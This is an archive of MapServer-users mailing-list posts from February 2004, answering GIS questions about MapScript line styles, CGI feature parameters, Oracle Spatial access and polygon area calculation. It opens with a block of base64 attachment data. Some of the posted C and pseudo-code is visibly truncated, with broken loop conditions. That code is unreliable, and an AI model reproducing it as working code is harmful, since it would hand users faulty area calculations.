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 yLziFJUkKSQpLBGRH2ZHEQhCA//Z ------=_NextPart_000_0003_01C3E999.F932CCF0-- From woodbri@swoodbridge.com Mon Feb 2 13:47:35 2004 From: woodbri@swoodbridge.com (woodbri@swoodbridge.com) Date: Mon, 02 Feb 2004 08:47:35 -0500 Subject: [Mapserver-users] Outlinecolor of a MS_LAYER_LINE Type In-Reply-To: <1075714281.485.12.camel@emil> References: <401ABBAF.9879.97EB73E@localhost> Message-ID: <401E0EA7.16151.1679E139@localhost> Daniel, Does not look like any of the OVERLAY* attributes of the CLASS object are documented in the PHP/Mapscript. Can you tell Nicol if they are supported in the code? Nicol, You might try to just set them in mapscript like any other object attribute: $classObj->set("OVERLAYCOLOR", $colorObj); $classObj->set("OVERLAYSIZE", 3); It may just work and not be documented. -Steve On 2 Feb 2004 at 10:31, Nicol Hermann wrote: > Hi Steve, > thanks for your mail. Your example works fine for me with a map-file but > how do i achieve the same effect only with phpmapscript? I coundn't find > the overlaycolor-keyword in the mapscript documentation neither in the > style- nor the class object. Do you have a further tip for me? > > Thanks > Nicol > > > Am Sam, 2004-01-31 um 02.16 schrieb woodbri@swoodbridge.com: > > There is a different strategy for rendering lines like you want. > > > > SYMBOL "circle" > > COLOR 0 0 0 > > SIZE 5 > > OVERLAYCOLOR 255 0 0 > > OVERLAYSIZE 3 > > > > This will draw a 5 pixel wide black line and then draw a 3 pixel wide > > red line on top of it. Which will leave one pixel of black on each > > side of the red line. > > > > You can adjust the colors and widths for different effects. > > > > Hope this helps, > > Steve W. (one of the other Steve's :) > > > > On 30 Jan 2004 at 22:49, Nicol Hermann wrote: > > > > > Hi Steve, > > > > > > i hoping to achieve the same effect like it appears with point and > > > polygon layers. I would like to see a line which is enclosed which the > > > two lines of the outline color. The 'size' parameter only affects the > > > thickness of the line. > > > > > > || Line|| > > > ^ ^ > > > |Line with the Outlinecolor > > > > > > Is there's a special cause that the outline color is ignored by the > > > line rendering code? > > > > > > Thanks > > > Nicol > > > > > > > > > Am Fr, den 30.01.2004 schrieb Steve Lime um 21:49: > > > > It's be awhile since I've looked at that source code but my guess is > > > > that outline colors are ignored by the line rendering code. What sort of > > > > an effect are you hoping to achieve? > > > > > > > > Steve > > > > > > > > >>> 1/30/2004 7:52:01 AM >>> > > > > > > > > Hi List, > > > > > > > > i want to set the outlinecolor within the StyleObj of a layer with the > > > > type MS_LAYER_LINE. I use the following code but the outlinecolor do > > > > not > > > > appear: > > > > > > > > $Layer -> set("type", MS_LAYER_LINE ); > > > > $poClass = ms_newClassObj($Layer); > > > > $styleObj = ms_newStyleObj($poClass); > > > > $styleObj -> color -> setRGB ( 0, 0, 255 ); > > > > $styleObj -> outlinecolor -> setRGB ( 0 , 0, 50); > > > > $styleObj -> set ("symbolname", "kreis"); > > > > $styleObj -> set ("size", 8); > > > > $poClass -> set("name", "Germany"); > > > > > > > > The same code works with MS_LAYER_POINT and MS_LAYER_POLYGON. > > > > > > > > Do i miss something? > > > > Thanks in advance. > > > > Nicol > > > > _______________________________________________ > > > > Mapserver-users mailing list > > > > Mapserver-users@lists.gis.umn.edu > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > -- > > > Nicol Hermann > > > > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users@lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users@lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jhart@frw.uva.nl Mon Feb 2 13:57:44 2004 From: jhart@frw.uva.nl (Jan Hartmann) Date: Mon, 02 Feb 2004 14:57:44 +0100 Subject: [Mapserver-users] Changing inline features with CGI parameters In-Reply-To: <000001c3e5d8$0f2d0090$6895c3d8@sebois> References: <000001c3e5d8$0f2d0090$6895c3d8@sebois> Message-ID: <401E5758.8060501@frw.uva.nl> Hi Steve and list, I'm trying to use a feature object for error messages. My mapfile looks like this: map layer .. end layer .. end layer transform false feature text "No data for this map points 10 10 end end class color 255 0 0 ... end end Layers ar selected with expressions from the URL, and if no data are found, every layer but the last is turned off and the error message is displayed. Works fine. However, I want to be able to change the feature's text and position from the URL. The CGI Reference shows how to do this by creating a new feature from the URL: ...&map_webuser_feature=new&map_webuser_feature_points=12345.6789+12345.6789&map_webuser_feature_text=My+House!&.. This only works when *no* feature is defined in the MapFile, else nothing is shown. When omitting "feature=new" MapServer segfaults. AFAICS existing features are not accessible from the URL. Is this by design, or can something be done about it? I am thinking of an application with lots of default error messages that can be toggled on and off individually in different positions. It would be easier to do this with predefined (and named) feature objects. I can live with the present situation though. Jan From LEllenbecker@co.winnebago.wi.us Mon Feb 2 14:11:58 2004 From: LEllenbecker@co.winnebago.wi.us (Ellenbecker, Larry) Date: Mon, 2 Feb 2004 08:11:58 -0600 Subject: [Mapserver-users] Zoom In level Message-ID: <34D572D6CF9A2944AF3889CCF910C25607D392@wcms1.co.winnebago.wi.us> HI, I have a question on what determines how far you can zoom in on a shapefile. Is this something that can be set in the .map or .html file? I need to zoom in and be able to query some cemetery lots. These features are 10x20 feet. I'm using mapserve.4.0 CGI. Thanks, Larry From wim.blanken@planet.nl Mon Feb 2 14:12:03 2004 From: wim.blanken@planet.nl (Wim Blanken (PI)) Date: Mon, 02 Feb 2004 15:12:03 +0100 Subject: [Mapserver-users] Changing inline features with CGI parameters References: <000001c3e5d8$0f2d0090$6895c3d8@sebois> <401E5758.8060501@frw.uva.nl> Message-ID: <006901c3e996$89192ac0$6400a8c0@BLANKEN> Hello Jan, Possible solutions...... -Did you specify the TYPE of the Layer? -I use TRANSFORM OFF (and not False). So...... TYPE annotation TRANSFORM OFF If this is no solution, could you specify a more complete mapfile? Regards, Wim Blanken Geon bv The Netherlands ----- Original Message ----- From: "Jan Hartmann" To: "'mapserver list'" Sent: Monday, February 02, 2004 2:57 PM Subject: [Mapserver-users] Changing inline features with CGI parameters > Hi Steve and list, > > I'm trying to use a feature object for error messages. My mapfile looks > like this: > > map > > layer > .. > end > > layer > .. > end > > layer > transform false > feature > text "No data for this map > points 10 10 end > end > class > color 255 0 0 > ... > end > end > > Layers ar selected with expressions from the URL, and if no data are > found, every layer but the last is turned off and the error message is > displayed. Works fine. However, I want to be able to change the > feature's text and position from the URL. The CGI Reference shows how to > do this by creating a new feature from the URL: > > ...&map_webuser_feature=new&map_webuser_feature_points=12345.6789+12345.6789 &map_webuser_feature_text=My+House!&.. > > This only works when *no* feature is defined in the MapFile, else > nothing is shown. When omitting "feature=new" MapServer segfaults. > > AFAICS existing features are not accessible from the URL. Is this by > design, or can something be done about it? I am thinking of an > application with lots of default error messages that can be toggled on > and off individually in different positions. It would be easier to do > this with predefined (and named) feature objects. I can live with the > present situation though. > > Jan > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dmorissette@dmsolutions.ca Mon Feb 2 14:19:09 2004 From: dmorissette@dmsolutions.ca (Daniel Morissette) Date: Mon, 02 Feb 2004 09:19:09 -0500 Subject: [Mapserver-users] Outlinecolor of a MS_LAYER_LINE Type In-Reply-To: <401E0EA7.16151.1679E139@localhost> References: <401ABBAF.9879.97EB73E@localhost> <401E0EA7.16151.1679E139@localhost> Message-ID: <401E5C5D.4050504@dmsolutions.ca> woodbri@swoodbridge.com wrote: > Daniel, > > Does not look like any of the OVERLAY* attributes of the CLASS object > are documented in the PHP/Mapscript. Can you tell Nicol if they are > supported in the code? > > Nicol, > > You might try to just set them in mapscript like any other object > attribute: > > $classObj->set("OVERLAYCOLOR", $colorObj); > $classObj->set("OVERLAYSIZE", 3); > > It may just work and not be documented. > In V4.0, OVERLAYCOLOR and all OVERLAY* parameters are supported only for backwards compatibility in the mapfiles. Instead of using OVERLAY*, you would create a second style in your class for the overlay part and use the color and size parameters of the second style to set what used to be the OVERLAYCOLOR and OVERLAYSIZE. The methods to create styles and set their parameters are in the 4.0 docs. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette@dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From M.Simonse@Vicrea.nl Mon Feb 2 14:26:46 2004 From: M.Simonse@Vicrea.nl (Merlijn Simonse) Date: Mon, 2 Feb 2004 15:26:46 +0100 Subject: [Mapserver-users] msOracleSpatialLayerGetShape() Message-ID: Hello, I have made a JavaScript based mapviewer. I make a selection using the input 'imgbox'. On a shapefile the selection works just fine, but when I try it on a layer from Oracle 9, I get the error "msOracleSpatialLayerGetShape(): OracleSpatial error. Function not implemented yet". I read in a mailing list archive in a message form 11th January 2002 saying that this method will be implemented soon. Does anybody know if this function is implemented yet, but has to be called differently or does anybody know a workaround without using php. Thanks for any help. Cheers, Merlijn _______________________________________________________________ Vicrea Solutions B.V. Vanadiumweg 11k 3812 PX Amersfoort Postbus 1489 3800 BL Amersfoort Email: m.simonse@vicrea.nl Tel: +31 33 4604080 Fax: +31 33 4604088 Internet: www.vicrea.nl _______________________________________________________________ From stepan.kafka@centrum.cz Mon Feb 2 14:44:40 2004 From: stepan.kafka@centrum.cz (Stepan Kafka) Date: Mon, 2 Feb 2004 15:44:40 +0100 Subject: [Mapserver-users] area Calculation in polygon-shapes In-Reply-To: <401E4DAA.30508@geoinform.fh-mainz.de> Message-ID: <002901c3e99b$16cecc40$463c2fc3@HSGIS> I have added area calculaliton function in php_mapscript 4.0.1 source code (so We can call $myshape->area(); ). It computes shape areas including "islands" regardless the lines orientation. I may send you this mapscript code if you're interested. But you can also compute it in your PHP code by accessing each vertex. Similar code may be written for perimeter. If more users are interested in, it would be nice to include these functions in the official code. Here is our C implementation: int pointInLine(lineObj *line, pointObj *point) { //test - point in poly - for one arc of shape int i, j, status; status=0; for (i=0, j=line->numpoints-1; inumpoints; j=i++) { if ((((line->point[i].y <= point->y) && (point->y < line->point[j].y)) || ((line->point[j].y <= point->y) && (point->y < line->point[i].y))) && (point->x < (line->point[j].x - line->point[i].x) * (point->y - line->point[i].y) / (line->point[j].y - line->point[i].y) + line->point[i].x)) status = !status; } return status; } double shapeObj_area(shapeObj *self){ int i, v; double sum, area; area = 0; if(self->type!=MS_SHAPE_POLYGON) return area; for(i=0;inumlines;i++){ sum = 0; for (v= 0; v < self->line[i].numpoints-2; v++){ sum += self->line[i].point[0].x * self->line[i].point[v].y - self->line[i].point[0].y * self->line[i].point[v].x + self->line[i].point[0].y * self->line[i].point[v+1].x - self->line[i].point[0].x * self->line[i].point[v+1].y + self->line[i].point[v].x * self->line[i].point[v+1].y - self->line[i].point[v+1].x * self->line[i].point[v].y; } sum = MS_ABS(sum); //test if line lies inside other ones for(v=0;vline[v]), &(self->line[i].point[0]))) sum = -sum; area += sum; } return area/2; } Stepan Kafka Help Service Remote Sensing tel: +420-327514118 mailto:kafka@email.cz ICQ: 294002967 http://www.bnhelp.cz > Hello, > is there an existing function in PHP-MapScript to calculate areas from a > polygon-shape > (like "shape.return area" in ArcView). > Or any other possibility to get area and perimeters from shapes? > Thanks for answering > Maggy > > -- > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > * Dipl.-Ing.(FH) Margaritha Vogt > * FH Mainz, FR Geoinformatik > * Holzstrasse 36, D-55116 Mainz > * Tel: +49-6131-2859-612, Fax: +49-6131-2859-615 > * mailto:vogt@geoinform.fh-mainz.de > * http://www.geoinform.fh-mainz.de > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From jhart@frw.uva.nl Mon Feb 2 14:43:03 2004 From: jhart@frw.uva.nl (Jan Hartmann) Date: Mon, 02 Feb 2004 15:43:03 +0100 Subject: [Mapserver-users] area Calculation in polygon-shapes In-Reply-To: <401E4DAA.30508@geoinform.fh-mainz.de> References: <401E4DAA.30508@geoinform.fh-mainz.de> Message-ID: <401E61F7.90801@frw.uva.nl> Margaritha Vogt wrote: > Hello, > is there an existing function in PHP-MapScript to calculate areas from a > polygon-shape > (like "shape.return area" in ArcView). > Or any other possibility to get area and perimeters from shapes? > Thanks for answering > Maggy > I don't think there is such a function in PHP-MapScript (there is one in PostGIS). It is quite easy to write one however. To get the area, just iterate through the points of the ShapeObj and apply the formula below. Perimeter is even simpler: get the length of each line segment (Pythagoras) and sum those. quoted from: http://www.faqs.org/faqs/graphics/algorithms-faq/ , section 2.01: -------------------------------------------------------------------- The signed area can be computed in linear time by a simple sum. The key formula is this: If the coordinates of vertex v_i are x_i and y_i, twice the signed area of a polygon is given by 2 A( P ) = sum_{i=0}^{n-1} (x_i y_{i+1} - y_i x_{i+1}). Here n is the number of vertices of the polygon, and index arithmetic is mod n, so that x_n = x_0, etc. A rearrangement of terms in this equation can save multiplications and operate on coordinate differences, and so may be both faster and more accurate: 2 A(P) = sum_{i=0}^{n-1} ( x_i (y_{i+1} - y_{i-1}) ) Here again modular index arithmetic is implied, with n=0 and -1=n-1. This can be avoided by extending the x[] and y[] arrays up to [n+1] with x[n]=x[0], y[n]=y[0] and y[n+1]=y[1], and using instead 2 A(P) = sum_{i=1}^{n} ( x_i (y_{i+1} - y_{i-1}) ) ----------------------------------------------------------------------- HTH, Jan From woodbri@swoodbridge.com Mon Feb 2 14:43:35 2004 From: woodbri@swoodbridge.com (woodbri@swoodbridge.com) Date: Mon, 02 Feb 2004 09:43:35 -0500 Subject: [Mapserver-users] area Calculation in polygon-shapes In-Reply-To: <401E4DAA.30508@geoinform.fh-mainz.de> Message-ID: <401E1BC7.2816.16AD24F1@localhost> It is easy to calculate just get the polygon shape object and extract the polygon vertices. Then walk through the line segment and sum the area under the line segment. Or if the vertex points are in array v then in sudo-code: area = 0; for (i=1; i Hello, > is there an existing function in PHP-MapScript to calculate areas from a > polygon-shape > (like "shape.return area" in ArcView). > Or any other possibility to get area and perimeters from shapes? > Thanks for answering > Maggy > > -- > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > * Dipl.-Ing.(FH) Margaritha Vogt > * FH Mainz, FR Geoinformatik > * Holzstrasse 36, D-55116 Mainz > * Tel: +49-6131-2859-612, Fax: +49-6131-2859-615 > * mailto:vogt@geoinform.fh-mainz.de > * http://www.geoinform.fh-mainz.de > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From woodbri@swoodbridge.com Mon Feb 2 14:43:35 2004 From: woodbri@swoodbridge.com (woodbri@swoodbridge.com) Date: Mon, 02 Feb 2004 09:43:35 -0500 Subject: [Mapserver-users] Re: MapServer In-Reply-To: <89E3039EC5D3BF4C9A74E4B997AC49699EC330@mscpt-ser02.minserv.co.za> Message-ID: <401E1BC7.11571.16AD2520@localhost> Please send queries to the list as there are a lot more people that might know the answer than just me and the question and answer may help others also. On 2 Feb 2004 at 16:21, Charles Young wrote: > Hi, > > Do you possibly know of a way to run a dynamic search in MapServer and > then zoom to the result? > > > Best Regards > > Charles Young > Director: Business Development > > Spatial Dimension > Cape Town > South Africa > Tel: +2721 531 3132 > Fax: +2721 531 4209 > Cell: 083 679 1789 > Web: www.spatialdimension.co.za > > ESRI Foundation Business Partner of the Year 2003 > > > From wim.blanken@planet.nl Mon Feb 2 14:49:22 2004 From: wim.blanken@planet.nl (Wim Blanken (PI)) Date: Mon, 02 Feb 2004 15:49:22 +0100 Subject: [Mapserver-users] msOracleSpatialLayerGetShape() References: Message-ID: <008901c3e99b$c189ebb0$6400a8c0@BLANKEN> Hello Merlijn, I had a simular problem a few months ago. There is another possibility to use Oracle Spatial with Mapserver but you have to use OGR with the Oracle Spatial option compiled into it. Then you have the full access to query etc. If you work on Linux this is possible (if you install the oracle client on the linux box and compile ogr with the oracle option and then compile mapserver with ogr). If you work on Windows this is harder as you have to compile OGR on this platform. I had no access to a Windows C++ compiler so I switched to Linux. The OGR option may be a bit slower as OGR stands between Mapserver and Oracle. Regards, Wim Blanken The Netherlands ----- Original Message ----- From: "Merlijn Simonse" To: Sent: Monday, February 02, 2004 3:26 PM Subject: [Mapserver-users] msOracleSpatialLayerGetShape() > Hello, > > I have made a JavaScript based mapviewer. I make a selection using the input > 'imgbox'. On a shapefile the selection works just fine, but when I try it on > a layer from Oracle 9, I get the error "msOracleSpatialLayerGetShape(): > OracleSpatial error. Function not implemented yet". I read in a mailing list > archive in a message form 11th January 2002 saying that this method will be > implemented soon. Does anybody know if this function is implemented yet, but > has to be called differently or does anybody know a workaround without using > php. > > Thanks for any help. > > Cheers, > Merlijn > > > _______________________________________________________________ > Vicrea Solutions B.V. > Vanadiumweg 11k 3812 PX Amersfoort > Postbus 1489 3800 BL Amersfoort > Email: m.simonse@vicrea.nl > Tel: +31 33 4604080 > Fax: +31 33 4604088 > Internet: www.vicrea.nl > _______________________________________________________________ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From assefa@dmsolutions.ca Mon Feb 2 15:03:46 2004 From: assefa@dmsolutions.ca (Yewondwossen Assefa) Date: Mon, 02 Feb 2004 10:03:46 -0500 Subject: [Mapserver-users] Outlinecolor of a MS_LAYER_LINE Type In-Reply-To: <401E0EA7.16151.1679E139@localhost> References: <401ABBAF.9879.97EB73E@localhost> <401E0EA7.16151.1679E139@localhost> Message-ID: <401E66D2.9000403@dmsolutions.ca> Hi There, The overlayxxx elements have been removed from php/mapscript since version 4.0. They are still supported in mapserver while reading the map file for backward compatibility. Mapserver now allows you to have several styles in a class. The styles object have basically all the rendering parameters (symbol, color, backgroundcolor ...) that were inside the class object. In your case you can define 2 styles in the class object to have the desired effect. Php/mapscript provide functions to create and deal with style objects. Hope It helps. Assefa, woodbri@swoodbridge.com wrote: > Daniel, > > Does not look like any of the OVERLAY* attributes of the CLASS object > are documented in the PHP/Mapscript. Can you tell Nicol if they are > supported in the code? > > Nicol, > > You might try to just set them in mapscript like any other object > attribute: > > $classObj->set("OVERLAYCOLOR", $colorObj); > $classObj->set("OVERLAYSIZE", 3); > > It may just work and not be documented. > > -Steve > > On 2 Feb 2004 at 10:31, Nicol Hermann wrote: > > >>Hi Steve, >>thanks for your mail. Your example works fine for me with a map-file but >>how do i achieve the same effect only with phpmapscript? I coundn't find >>the overlaycolor-keyword in the mapscript documentation neither in the >>style- nor the class object. Do you have a further tip for me? >> >>Thanks >>Nicol >> >> >>Am Sam, 2004-01-31 um 02.16 schrieb woodbri@swoodbridge.com: >> >>>There is a different strategy for rendering lines like you want. >>> >>>SYMBOL "circle" >>>COLOR 0 0 0 >>>SIZE 5 >>>OVERLAYCOLOR 255 0 0 >>>OVERLAYSIZE 3 >>> >>>This will draw a 5 pixel wide black line and then draw a 3 pixel wide >>>red line on top of it. Which will leave one pixel of black on each >>>side of the red line. >>> >>>You can adjust the colors and widths for different effects. >>> >>>Hope this helps, >>> Steve W. (one of the other Steve's :) >>> >>>On 30 Jan 2004 at 22:49, Nicol Hermann wrote: >>> >>> >>>>Hi Steve, >>>> >>>>i hoping to achieve the same effect like it appears with point and >>>>polygon layers. I would like to see a line which is enclosed which the >>>>two lines of the outline color. The 'size' parameter only affects the >>>>thickness of the line. >>>> >>>> || Line|| >>>> ^ ^ >>>> |Line with the Outlinecolor >>>> >>>>Is there's a special cause that the outline color is ignored by the >>>>line rendering code? >>>> >>>>Thanks >>>>Nicol >>>> >>>> >>>>Am Fr, den 30.01.2004 schrieb Steve Lime um 21:49: >>>> >>>>>It's be awhile since I've looked at that source code but my guess is >>>>>that outline colors are ignored by the line rendering code. What sort of >>>>>an effect are you hoping to achieve? >>>>> >>>>>Steve >>>>> >>>>> >>>>>>>> 1/30/2004 7:52:01 AM >>> >>>>> >>>>>Hi List, >>>>> >>>>>i want to set the outlinecolor within the StyleObj of a layer with the >>>>>type MS_LAYER_LINE. I use the following code but the outlinecolor do >>>>>not >>>>>appear: >>>>> >>>>>$Layer -> set("type", MS_LAYER_LINE ); >>>>>$poClass = ms_newClassObj($Layer); >>>>>$styleObj = ms_newStyleObj($poClass); >>>>>$styleObj -> color -> setRGB ( 0, 0, 255 ); >>>>>$styleObj -> outlinecolor -> setRGB ( 0 , 0, 50); >>>>>$styleObj -> set ("symbolname", "kreis"); >>>>>$styleObj -> set ("size", 8); >>>>>$poClass -> set("name", "Germany"); >>>>> >>>>>The same code works with MS_LAYER_POINT and MS_LAYER_POLYGON. >>>>> >>>>>Do i miss something? >>>>>Thanks in advance. >>>>>Nicol >>>>>_______________________________________________ >>>>>Mapserver-users mailing list >>>>>Mapserver-users@lists.gis.umn.edu >>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>> >>>>-- >>>>Nicol Hermann >>>> >>>>_______________________________________________ >>>>Mapserver-users mailing list >>>>Mapserver-users@lists.gis.umn.edu >>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>> >>> >>> >>>_______________________________________________ >>>Mapserver-users mailing list >>>Mapserver-users@lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>> >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users@lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa@dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From mapserver@geochem.de Mon Feb 2 17:08:55 2004 From: mapserver@geochem.de (Nicol Hermann) Date: 02 Feb 2004 18:08:55 +0100 Subject: [Mapserver-users] Outlinecolor of a MS_LAYER_LINE Type In-Reply-To: <401E5C5D.4050504@dmsolutions.ca> References: <401ABBAF.9879.97EB73E@localhost> <401E0EA7.16151.1679E139@localhost> <401E5C5D.4050504@dmsolutions.ca> Message-ID: <1075741735.421.23.camel@emil> Hi Daniel, hi Steve, thank you for your assistance. Now it works. Thanks again Nicol Am Mon, 2004-02-02 um 15.19 schrieb Daniel Morissette: > woodbri@swoodbridge.com wrote: > > Daniel, > > > > Does not look like any of the OVERLAY* attributes of the CLASS object > > are documented in the PHP/Mapscript. Can you tell Nicol if they are > > supported in the code? > > > > Nicol, > > > > You might try to just set them in mapscript like any other object > > attribute: > > > > $classObj->set("OVERLAYCOLOR", $colorObj); > > $classObj->set("OVERLAYSIZE", 3); > > > > It may just work and not be documented. > > > > In V4.0, OVERLAYCOLOR and all OVERLAY* parameters are supported only for > backwards compatibility in the mapfiles. Instead of using OVERLAY*, you > would create a second style in your class for the overlay part and use > the color and size parameters of the second style to set what used to be > the OVERLAYCOLOR and OVERLAYSIZE. The methods to create styles and set > their parameters are in the 4.0 docs. > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette dmorissette@dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > > _______________________________________________ > Mapserver-users mailing list > 